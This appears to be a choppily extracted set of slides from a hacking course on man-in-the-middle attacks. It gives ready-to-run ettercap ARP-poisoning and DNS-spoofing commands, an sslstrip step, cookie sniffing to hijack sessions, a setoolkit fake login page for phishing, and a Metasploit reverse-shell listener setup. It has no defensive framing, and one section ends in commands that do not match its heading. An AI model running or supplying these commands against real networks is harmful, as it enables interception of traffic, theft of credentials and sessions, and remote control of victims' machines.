Man in The Middle Attacks ARP Poisoning: Redirect Packets To and From Any Client To Our Device
Man in The Middle Attacks ARP Poisoning: Redirect Packets To and From Any Client To Our Device
ARP Poisoning
This is one of the most dangerous and effective attacks that
can be used, it is used to redirect packets to and from any
client to our device, and since we have the network key, we can
read/modify/drop these packets. This allows us to launch very
powerful attacks.
It is very effective and dangerous because it's very hard to
protect against it as it exploits the insecure way that ARP
works.
Man In The Middle Attacks
ARP Poisoning
ARP main security issues:
1. Each ARP request/response is trusted.
2. Clients can accept responses even if they did not send a
request.
Requ
es ts
Resp
onse
s
ARP Poisoning
Requests
Responses
ARP Poisoning
arpspoof
Arpspoof is a tool part of a suit called dsniff, which contains a number of network
penetration tools. Arpspoof can be used to launch a MITM attack and redirect
traffic to flow through our device.
1. Tell the target client that I am the router.
Ettercap -Tq -M arp:remote -i [interface] [AP MAC]/[AP IP]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
Ex: ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/ /192.168.1.5/
Ex2: ettercap -Tq -M arp:remote -i wlan0 // #target all networks
2. Run sslstrip.
> sslstrip -p
3. ARP poison client and AP.
Ettercap -Tq -M arp:remote -i [interface] [AP MAC]/[AP IP]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
Ex: ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/ /192.168.1.5/
Sniffing Cookies
Session Hijacking
What if the user uses the “remember me” feature ??
If the user uses this feature the authentication happens using
the cookies and not the user and password. So instead of
sniffing the password we can sniff the cookies and inject them
into our browser, this will allow us to login to the user's account
without using the password. You can download it from:
https://www.cookiecadger.com/?page_id=19
2. Run ettercap to arp poison the target(s) and enable the dns_spoof plugin.
Ettercap -Tq -M arp:remote -P dns_spoof -i [interface] [AP MAC]/[AP IP]/[PORT] [TARGET MAC]/[TARGET IP]/[TARGET PORT]
Ex: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 /192.168.1.1/ /192.168.1.5/
MITM
Senario 1
What if the user uses the “remember me” feature on a HTTPS
enabled website ??
Then we can create a fake login page to the target website, and
dns spoof any request to the website that the user uses the
remember me feature on to this fake website.
We are going to use a tool called setoolkit to create a fake clone
and then dns spoof requests using ettercap
setoolkit
MITM
Ettercap Plugins
● Ettercap plugins allow us to carry out a number of different
MITM attacks or help filter the sniffed packets in a certain way.
● We have already used an ettercap plugin in the dns spoofing
video.
● There is a number of ettercap plugins , all of which can be used
in the same way, therefore we shall only have a look on another
example of using a plugin.
Usage:
Ettercap [options] -P [Plugin name] //
Ex: ettercap -Tq -M arp:remote -P dns_spoof -i wlan0 /192.168.1.1/ /192.168.1.5/
MITM – Ettercap Filters
Controlling internet connection
● Ettercap filters can be used to carry out extra tasks with ettercap.
● We are going to use a simple filter to disable internet connection to any client in our
network without disconnecting it from the network.
Usage:
> msfconsole
> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LPORT 5555
> set LHOST 192.168.1.11
> exploit